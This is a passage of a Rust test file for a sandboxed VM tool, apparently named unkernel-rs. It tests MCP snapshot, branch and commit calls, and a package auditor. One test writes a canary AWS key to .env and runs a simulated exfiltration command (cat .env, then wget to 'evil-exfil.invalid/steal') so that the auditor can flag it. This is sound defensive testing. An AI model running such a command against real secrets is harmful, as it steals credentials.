    // 1. initialize + notification + tools/list (must respond immediately without booting yet)
    let init = rpc(
        serde_json::json!({
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": { "protocolVersion": "2024-11-05" }
        }),
        true,
    )
    .unwrap();
    assert_eq!(init["result"]["serverInfo"]["name"], "unkernel-rs");

    rpc(
        serde_json::json!({"jsonrpc": "2.0", "method": "notifications/initialized"}),
        false,
    );

    let tools = rpc(
        serde_json::json!({
            "jsonrpc": "2.0",
            "id": 2,
            "method": "tools/list"
        }),
        true,
    )
    .unwrap();
    let tool_names: Vec<&str> = tools["result"]["tools"]
        .as_array()
        .unwrap()
        .iter()
        .filter_map(|t| t["name"].as_str())
        .collect();
    assert!(tool_names.contains(&"vm_exec"));
    assert!(tool_names.contains(&"vm_snapshot"));
    assert!(tool_names.contains(&"vm_branch_exec"));
    assert!(tool_names.contains(&"vm_commit"));

    // 2. vm_exec -> writes into :cow workspace
    let exec_resp = rpc(
        serde_json::json!({
            "jsonrpc": "2.0",
            "id": 3,
            "method": "tools/call",
            "params": {
                "name": "vm_exec",
                "arguments": { "command": "echo base_step > /work/out.txt && uname -s" }
            }
        }),
        true,
    )
    .unwrap();
    assert_eq!(exec_resp["result"]["isError"], false);
    let exec_body: serde_json::Value =
        serde_json::from_str(exec_resp["result"]["content"][0]["text"].as_str().unwrap()).unwrap();
    assert_eq!(exec_body["ok"], true);
    assert!(exec_body["stdout"].as_str().unwrap().contains("Linux"));
    assert!(!workspace.join("out.txt").exists());

    // 3. vm_snapshot + counterfactual vm_branch_exec
    let snap_resp = rpc(
        serde_json::json!({
            "jsonrpc": "2.0",
            "id": 4,
            "method": "tools/call",
            "params": { "name": "vm_snapshot", "arguments": { "name": "s1" } }
        }),
        true,
    )
    .unwrap();
    assert_eq!(snap_resp["result"]["isError"], false);

    let branch_resp = rpc(
        serde_json::json!({
            "jsonrpc": "2.0",
            "id": 5,
            "method": "tools/call",
            "params": {
                "name": "vm_branch_exec",
                "arguments": {
                    "snapshot": "s1",
                    "command": "echo branch_only > /work/branch.txt && cat /work/out.txt"
                }
            }
        }),
        true,
    )
    .unwrap();
    assert_eq!(branch_resp["result"]["isError"], false);
    let branch_body: serde_json::Value = serde_json::from_str(
        branch_resp["result"]["content"][0]["text"]
            .as_str()
            .unwrap(),
    )
    .unwrap();
    assert!(
        branch_body["stdout"]
            .as_str()
            .unwrap()
            .contains("base_step")
    );

    // 4. vm_diff + vm_commit (parent must NOT have branch.txt, MUST have out.txt)
    let diff_resp = rpc(
        serde_json::json!({
            "jsonrpc": "2.0",
            "id": 6,
            "method": "tools/call",
            "params": { "name": "vm_diff", "arguments": { "guest_path": "/work" } }
        }),
        true,
    )
    .unwrap();
    let diff_body: serde_json::Value =
        serde_json::from_str(diff_resp["result"]["content"][0]["text"].as_str().unwrap()).unwrap();
    let created = diff_body["diffs"][0]["created"].as_array().unwrap();
    assert!(created.iter().any(|v| v == "out.txt"));
    assert!(!created.iter().any(|v| v == "branch.txt"));

    let commit_resp = rpc(
        serde_json::json!({
            "jsonrpc": "2.0",
            "id": 7,
            "method": "tools/call",
            "params": { "name": "vm_commit", "arguments": { "guest_path": "/work" } }
        }),
        true,
    )
    .unwrap();
    assert_eq!(commit_resp["result"]["isError"], false);
    assert_eq!(
        std::fs::read_to_string(workspace.join("out.txt")).unwrap(),
        "base_step\n"
    );

    // 5. vm_inspect
    let inspect_resp = rpc(
        serde_json::json!({
            "jsonrpc": "2.0",
            "id": 8,
            "method": "tools/call",
            "params": { "name": "vm_inspect", "arguments": {} }
        }),
        true,
    )
    .unwrap();
    let inspect_body: serde_json::Value = serde_json::from_str(
        inspect_resp["result"]["content"][0]["text"]
            .as_str()
            .unwrap(),
    )
    .unwrap();
    assert_eq!(inspect_body["booted"], true);
    assert!(
        !inspect_body["active_processes"]
            .as_array()
            .unwrap()
            .is_empty()
    );

    drop(stdin);
    let status = child.wait().expect("wait mcp exit");
    assert!(status.success());
}

#[test]
fn cli_audit_pkg_catches_exfil_and_sensitive_read() {
    let bin = env!("CARGO_BIN_EXE_unkernel-rs");
    let dir = TempDir::new().expect("tempdir");
    let workspace = dir.path().join("workspace");
    std::fs::create_dir(&workspace).unwrap();
    std::fs::write(
        workspace.join(".env"),
        "AWS_SECRET_ACCESS_KEY=canary_12345\n",
    )
    .unwrap();

    let output = Command::new(bin)
        .args([
            "audit-pkg",
            "--mount",
            &format!("{}:/work:cow", workspace.display()),
            "--allow-host",
            "example.com",
            "--json",
            "--cmd",
            "cat /work/.env >/dev/null 2>&1; wget -T 2 -qO- http://evil-exfil.invalid/steal 2>/dev/null || true",
        ])
        .output()
        .expect("run unkernel-rs audit-pkg");

    assert_eq!(
        output.status.code(),
        Some(2),
        "expected SUSPICIOUS exit code 2, stdout={}, stderr={}",
        String::from_utf8_lossy(&output.stdout),
        String::from_utf8_lossy(&output.stderr)
    );
    let report: serde_json::Value =
        serde_json::from_slice(&output.stdout).expect("valid JSON scorecard");
    assert_eq!(report["verdict"], "SUSPICIOUS");
    assert!(
        report["summary"]["sensitive_read_count"].as_u64().unwrap() >= 1,
        "expected sensitive .env read finding: {report}"
    );
    assert!(
        report["summary"]["blocked_network_count"].as_u64().unwrap() >= 1,
        "expected blocked DNS/TCP exfil finding: {report}"
    );
}